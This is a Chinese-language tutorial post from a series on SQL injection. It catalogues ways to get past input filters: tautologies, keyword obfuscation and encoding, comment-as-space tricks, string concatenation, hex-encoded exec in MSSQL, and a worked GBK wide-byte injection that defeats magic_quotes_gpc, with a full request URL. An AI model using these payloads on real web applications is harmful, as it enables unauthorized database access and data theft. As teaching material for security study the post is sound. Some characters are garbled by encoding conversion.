sql注入解析(四)避开过滤

web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤咱们能够试着用下面的方法避开。
一、 不使用被过滤的字符: 好比注入一个数字数据,就不须要使用单引号;' or 1=1--,若是注释字符被过滤,咱们能够这样写 ' or '1'='1 。
二、 避免使用简单确认: 若是select关键字被过滤,咱们能够尝试用下面的方法书写select,SeleCT; selselectect;或者使用URLencode,ascii编码,%53%45%4c%45%43%54(ascii).
三、 使用sql注释绕过: 若是空格被过滤了,咱们可使用sql语言的注释。select/**/username,password/**/from/**/user--, mysql中甚至能够这样 sele/**/ct username fr/**/om user--.
四、 替换被阻止的字符串: 要表示admin,oracle中能够用 'adm'||'in' ,  mysql中能够用 concat('adm','in'); mssql中能够用:'adm'+'in'.
数据库语法中有不少字符串操做函数,能够用来建立被过滤的字符串。Oracle中包含,CHR(ascii码转化)、REVERSE(字符串反转),TRANSLATE(高级的字符串替换),REPLACE,SUBSTR函数。
mssql数据库可使用 exec('select * from user'), 这条命令能够变形为 exec('sele'+'ct * from user) ,还能够创建一个十六进制的编码的字符串,经过exec来执行,从而避开某些关键字甚至是单引号的过滤。如:declear @q varchar(5000); select @q=0x73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 75 73 65 72 ,exec(@q) .
另外若是网站是gbk编码的,也能够利用汉字的编码避开注入:
在magic_quotes_gpc=On的状况下,提交的参数中若是带有单引号’,就会被自动转义’,使不少注入攻击无效,
GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),恰好涵盖了转义符号对应的编码0×5C。
0xD50×5C 对应了汉字“诚”,URL编码用百分号加字符的16进制编码表示字符,因而 %d5%5c 经URL解码后为“诚”。
下面分析攻击过程:
访问 http://localhost/test.php?username=test%d5′%20or%201=1%23&pwd=test
通过浏览器编码,username参数值为(单引号的编码0×27)
username=test%d5%27%20or%201=1%23
通过php的url解码
username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (为了便于阅读,在字符串与16进制编码之间加了空格)
通过PHP的GPC自动转义变成(单引号0×27被转义成’对应的编码0×5c0×27):
username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
由于在数据库初始化链接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为’,0×20为空格,0×23为mysql的注释符#
上面的SQL语句最终为: SELECT * FROM user WHERE username=’test诚’ or 1=1#’ and password=’test’;
注释符#后面的字符串已经无效,等价于
SELECT * FROM user WHERE username=’test诚’ or 1=1;
条件变成永真,成功注入。
补充:
0xD50×5C不是惟一能够绕过单引号转义的字符,0×81-0xFE开头+0×5C的字符应该均可以;
根据utf8的编码范围,无此问题;
这种变换在xss等领域也能够应用,假如服务端是GBK编码格式。
摘自:http://dzxx.sinaapp.com/archives/34/
本文是由youthflies发表在易踪网(yeetrack.com)上的原创文章,原文地址为:http://www.yeetrack.com/?p=65
php

sql注入解析(一)基本语法

 

sql注入解析(二)执行注入

 

sql注入解析(三)数据库类型

 

sql注入解析(四)避开过滤

相关文章
相关标签/搜索